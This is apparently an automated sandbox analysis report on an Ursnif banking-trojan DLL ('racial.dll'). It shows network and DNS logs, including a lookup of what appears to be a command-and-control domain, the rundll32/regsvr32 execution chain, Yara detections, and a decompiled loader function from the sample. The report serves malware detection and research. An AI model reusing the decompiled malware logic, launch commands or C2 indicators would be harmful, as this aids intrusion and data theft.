Jun 3, 2021 18:03:27.948717117 CEST	53	54230	8.8.8.8	192.168.2.7
Jun 3, 2021 18:03:30.783550978 CEST	50781	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:03:30.834911108 CEST	53	50781	8.8.8.8	192.168.2.7
Jun 3, 2021 18:03:31.951998949 CEST	54230	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:03:32.000500917 CEST	53	54230	8.8.8.8	192.168.2.7
Jun 3, 2021 18:03:40.165466070 CEST	54911	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:03:40.215231895 CEST	53	54911	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:05.794018030 CEST	49958	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:05.836201906 CEST	53	49958	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:06.882814884 CEST	49958	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:06.923877001 CEST	53	49958	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:07.976541042 CEST	49958	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:08.017745972 CEST	53	49958	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:10.101475954 CEST	49958	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:10.144270897 CEST	53	49958	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:14.186758041 CEST	49958	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:14.228482962 CEST	53	49958	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:40.749469995 CEST	50860	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:40.790637970 CEST	53	50860	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:41.882150888 CEST	50452	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:41.923738003 CEST	53	50452	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:43.066668034 CEST	59730	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:43.115489006 CEST	53	59730	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:44.026297092 CEST	59310	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:44.075017929 CEST	53	59310	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:44.751149893 CEST	51919	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:44.818702936 CEST	53	51919	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:45.040067911 CEST	64296	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:45.089106083 CEST	53	64296	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:46.608375072 CEST	56680	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:46.659194946 CEST	53	56680	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:47.584630013 CEST	58820	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:47.634776115 CEST	53	58820	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:49.023472071 CEST	60983	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:49.065458059 CEST	53	60983	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:49.845845938 CEST	49247	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:49.895169973 CEST	53	49247	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:51.028764963 CEST	52286	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:51.070314884 CEST	53	52286	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:52.175265074 CEST	56064	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:52.226551056 CEST	53	56064	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:54.029222012 CEST	63744	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:54.079792023 CEST	53	63744	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:55.686481953 CEST	61457	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:55.736773014 CEST	53	61457	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:56.812175989 CEST	58367	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:56.853679895 CEST	53	58367	8.8.8.8	192.168.2.7
Jun 3, 2021 18:04:57.909598112 CEST	60599	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:04:57.957847118 CEST	53	60599	8.8.8.8	192.168.2.7
Jun 3, 2021 18:05:01.110517979 CEST	59571	53	192.168.2.7	8.8.8.8
Jun 3, 2021 18:05:01.488238096 CEST	53	59571	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 3, 2021 18:02:56.184990883 CEST	192.168.2.7	8.8.8.8	0x90b5	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)
Jun 3, 2021 18:02:58.593633890 CEST	192.168.2.7	8.8.8.8	0x1370	Standard query (0)	web.vortex.data.msn.com	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:00.350274086 CEST	192.168.2.7	8.8.8.8	0xafbf	Standard query (0)	geolocation.onetrust.com	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:00.721673012 CEST	192.168.2.7	8.8.8.8	0xf17e	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:03.496300936 CEST	192.168.2.7	8.8.8.8	0xd331	Standard query (0)	hblg.media.net	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:04.029187918 CEST	192.168.2.7	8.8.8.8	0x4bb5	Standard query (0)	lg3.media.net	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:07.437345028 CEST	192.168.2.7	8.8.8.8	0xd970	Standard query (0)	cvision.media.net	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:10.401798010 CEST	192.168.2.7	8.8.8.8	0xe6a2	Standard query (0)	srtb.msn.com	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:11.795929909 CEST	192.168.2.7	8.8.8.8	0x7860	Standard query (0)	img.img-taboola.com	A (IP address)	IN (0x0001)
Jun 3, 2021 18:05:01.110517979 CEST	192.168.2.7	8.8.8.8	0xff12	Standard query (0)	authd.feronok.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 3, 2021 18:02:56.226126909 CEST	8.8.8.8	192.168.2.7	0x90b5	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2021 18:02:58.659910917 CEST	8.8.8.8	192.168.2.7	0x1370	No error (0)	web.vortex.data.msn.com	web.vortex.data.microsoft.com		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2021 18:03:00.401861906 CEST	8.8.8.8	192.168.2.7	0xafbf	No error (0)	geolocation.onetrust.com		104.20.184.68	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:00.401861906 CEST	8.8.8.8	192.168.2.7	0xafbf	No error (0)	geolocation.onetrust.com		104.20.185.68	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:00.788665056 CEST	8.8.8.8	192.168.2.7	0xf17e	No error (0)	contextual.media.net		23.57.80.37	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:03.562469959 CEST	8.8.8.8	192.168.2.7	0xd331	No error (0)	hblg.media.net		23.57.80.37	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:04.086791992 CEST	8.8.8.8	192.168.2.7	0x4bb5	No error (0)	lg3.media.net		23.57.80.37	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:07.488038063 CEST	8.8.8.8	192.168.2.7	0xd970	No error (0)	cvision.media.net	cvision.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2021 18:03:10.443348885 CEST	8.8.8.8	192.168.2.7	0xe6a2	No error (0)	srtb.msn.com	www.msn.com		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2021 18:03:10.443348885 CEST	8.8.8.8	192.168.2.7	0xe6a2	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2021 18:03:11.846430063 CEST	8.8.8.8	192.168.2.7	0x7860	No error (0)	img.img-taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Jun 3, 2021 18:03:11.846430063 CEST	8.8.8.8	192.168.2.7	0x7860	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:11.846430063 CEST	8.8.8.8	192.168.2.7	0x7860	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:11.846430063 CEST	8.8.8.8	192.168.2.7	0x7860	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)
Jun 3, 2021 18:03:11.846430063 CEST	8.8.8.8	192.168.2.7	0x7860	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)
Jun 3, 2021 18:05:01.488238096 CEST	8.8.8.8	192.168.2.7	0xff12	No error (0)	authd.feronok.com		35.199.86.111	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jun 3, 2021 18:03:00.508635044 CEST	104.20.184.68	443	192.168.2.7	49716	CN=onetrust.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri Feb 12 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Sat Feb 12 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:00.508635044 CEST	104.20.184.68	443	192.168.2.7	49716	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:00.509018898 CEST	104.20.184.68	443	192.168.2.7	49717	CN=onetrust.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri Feb 12 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Sat Feb 12 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:00.509018898 CEST	104.20.184.68	443	192.168.2.7	49717	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:11.971132040 CEST	151.101.1.44	443	192.168.2.7	49729	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:11.971132040 CEST	151.101.1.44	443	192.168.2.7	49729	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:11.971426010 CEST	151.101.1.44	443	192.168.2.7	49730	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:11.971426010 CEST	151.101.1.44	443	192.168.2.7	49730	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:11.971446037 CEST	151.101.1.44	443	192.168.2.7	49728	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:11.971446037 CEST	151.101.1.44	443	192.168.2.7	49728	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:12.012712002 CEST	151.101.1.44	443	192.168.2.7	49731	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:12.012712002 CEST	151.101.1.44	443	192.168.2.7	49731	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:12.015187025 CEST	151.101.1.44	443	192.168.2.7	49732	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:12.015187025 CEST	151.101.1.44	443	192.168.2.7	49732	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:12.047223091 CEST	151.101.1.44	443	192.168.2.7	49733	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jun 3, 2021 18:03:12.047223091 CEST	151.101.1.44	443	192.168.2.7	49733	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5896 Parent PID: 5788

General

Start time:	18:02:47
Start date:	03/06/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\racial.dll'
Imagebase:	0xfb0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000003.464658480.0000000001300000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5384 Parent PID: 5896

General

Start time:	18:02:47
Start date:	03/06/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\racial.dll',#1
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 5316 Parent PID: 5896

General

Start time:	18:02:48
Start date:	03/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\racial.dll
Imagebase:	0xc60000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000002.00000003.461266850.0000000002CF0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 3612 Parent PID: 5384

General

Start time:	18:02:48
Start date:	03/06/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\racial.dll',#1
Imagebase:	0x3a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000003.460926541.00000000023C0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 1752 Parent PID: 5896

General

Start time:	18:02:49
Start date:	03/06/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Internet Explorer\iexplore.exe
Imagebase:	0x7ff6d06e0000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4364 Parent PID: 5896

General

Start time:	18:02:49
Start date:	03/06/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\racial.dll,DllRegisterServer
Imagebase:	0x3a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000005.00000003.462329890.0000000002FD0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5872 Parent PID: 1752

General

Start time:	18:02:50
Start date:	03/06/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1752 CREDAT:17410 /prefetch:2
Imagebase:	0xb80000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5896 Parent PID: 5788 loaddll32.exeCOMMON

Executed Functions

Function 6D6B17A7, Relevance: 15.1, APIs: 10, Instructions: 103
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D6B17A7(intOrPtr _a4) {
				char _v28;
				struct _SYSTEMTIME _v44;
				char _v48;
				long _v52;
				long _v56;
				void* __edi;
				long _t21;
				int _t23;
				long _t26;
				long _t27;
				long _t31;
				intOrPtr _t39;
				intOrPtr _t44;
				signed int _t45;
				void* _t50;
				signed int _t54;
				void* _t56;
				intOrPtr* _t57;

				_t21 = E6D6B146C();
				_v52 = _t21;
				if(_t21 != 0) {
					L18:
					return _t21;
				} else {
					goto L1;
				}
				do {
					L1:
					GetSystemTime( &_v44);
					_t23 = SwitchToThread();
					asm("cdq");
					_t45 = 9;
					_t54 = _t23 + (_v44.wMilliseconds & 0x0000ffff) % _t45;
					_t26 = E6D6B15A3(0, _t54); // executed
					_v56 = _t26;
					Sleep(_t54 << 5); // executed
					_t21 = _v56;
				} while (_t21 == 0xc);
				if(_t21 != 0) {
					goto L18;
				}
				_t27 = E6D6B1C12(_t45);
				_v52 = _t27;
				if(_t27 != 0) {
					L16:
					_t21 = _v52;
					if(_t21 == 0xffffffff) {
						_t21 = GetLastError();
					}
					goto L18;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t56 = E6D6B1CA4(E6D6B16EC,  &_v28);
					if(_t56 == 0) {
						_v56 = GetLastError();
					} else {
						_t31 = WaitForSingleObject(_t56, 0xffffffff);
						_v56 = _t31;
						if(_t31 == 0) {
							GetExitCodeThread(_t56,  &_v56);
						}
						CloseHandle(_t56);
					}
					goto L16;
				}
				if(E6D6B1D7C(_t45,  &_v48) != 0) {
					 *0x6d6b41b8 = 0;
					goto L11;
				}
				_t44 = _v48;
				_t57 = __imp__GetLongPathNameW;
				_t50 =  *_t57(_t44, 0, 0);
				if(_t50 == 0) {
					L9:
					 *0x6d6b41b8 = _t44;
					goto L11;
				}
				_t15 = _t50 + 2; // 0x2
				_t39 = E6D6B1C8F(_t50 + _t15);
				 *0x6d6b41b8 = _t39;
				if(_t39 == 0) {
					goto L9;
				} else {
					 *_t57(_t44, _t39, _t50);
					E6D6B136A(_t44);
					goto L11;
				}
			}

0x6d6b17b3
0x6d6b17bc
0x6d6b17c0
0x6d6b18c8
0x6d6b18ce
0x00000000
0x00000000
0x00000000
0x6d6b17c6
0x6d6b17c6
0x6d6b17cb
0x6d6b17d1
0x6d6b17e0
0x6d6b17e1
0x6d6b17e4
0x6d6b17e7
0x6d6b17f0
0x6d6b17f4
0x6d6b17fa
0x6d6b17fe
0x6d6b1805
0x00000000
0x00000000
0x6d6b180b
0x6d6b1812
0x6d6b1816
0x6d6b18b9
0x6d6b18b9
0x6d6b18c0
0x6d6b18c2
0x6d6b18c2
0x00000000
0x6d6b18c0
0x6d6b181f
0x6d6b1872
0x6d6b1872
0x6d6b1883
0x6d6b1887
0x6d6b18b5
0x6d6b1889
0x6d6b188c
0x6d6b1894
0x6d6b1898
0x6d6b18a0
0x6d6b18a0
0x6d6b18a7
0x6d6b18a7
0x00000000
0x6d6b1887
0x6d6b182d
0x6d6b186c
0x00000000
0x6d6b186c
0x6d6b182f
0x6d6b1833
0x6d6b183e
0x6d6b1842
0x6d6b1864
0x6d6b1864
0x00000000
0x6d6b1864
0x6d6b1844
0x6d6b1849
0x6d6b1850
0x6d6b1855
0x00000000
0x6d6b1857
0x6d6b185a
0x6d6b185d
0x00000000
0x6d6b185d

APIs

Part of subcall function 6D6B146C: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6D6B17B8,76D263F0,00000000), ref: 6D6B147B
Part of subcall function 6D6B146C: GetVersion.KERNEL32 ref: 6D6B148A
Part of subcall function 6D6B146C: GetCurrentProcessId.KERNEL32 ref: 6D6B1499
Part of subcall function 6D6B146C: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6D6B14B2

GetSystemTime.KERNEL32(?,76D263F0,00000000), ref: 6D6B17CB
SwitchToThread.KERNEL32 ref: 6D6B17D1

Part of subcall function 6D6B15A3: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,00000000,00000000), ref: 6D6B15F9
Part of subcall function 6D6B15A3: memcpy.NTDLL(?,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?,6D6B17EC), ref: 6D6B168B
Part of subcall function 6D6B15A3: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,00000000,00000000), ref: 6D6B16A6

Sleep.KERNELBASE(00000000,00000000), ref: 6D6B17F4
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 6D6B183C
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 6D6B185A
WaitForSingleObject.KERNEL32(00000000,000000FF,6D6B16EC,?,00000000), ref: 6D6B188C
GetExitCodeThread.KERNEL32(00000000,?), ref: 6D6B18A0
CloseHandle.KERNEL32(00000000), ref: 6D6B18A7
GetLastError.KERNEL32(6D6B16EC,?,00000000), ref: 6D6B18AF
GetLastError.KERNEL32 ref: 6D6B18C2

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 4dd1cc7c11b6a06dace06b250d9ab9acece0e1a8fb35dc4887d76ff6599a37a4
Instruction ID: 597c494431988420ca49f4aefcd465fa801b9472089b61a2268def996990ff88
Opcode Fuzzy Hash: 4dd1cc7c11b6a06dace06b250d9ab9acece0e1a8fb35dc4887d76ff6599a37a4
Instruction Fuzzy Hash: 09319571908B16BBD711DF668C44A6F77FCFF8E754B110A2AF564C2140E738C5248BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6D7323C3, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000079C,00003000,00000040,0000079C,6D731E18), ref: 6D732480
VirtualAlloc.KERNEL32(00000000,000000C6,00003000,00000040,6D731E7C), ref: 6D7324B7
VirtualAlloc.KERNEL32(00000000,00013F51,00003000,00000040), ref: 6D732517
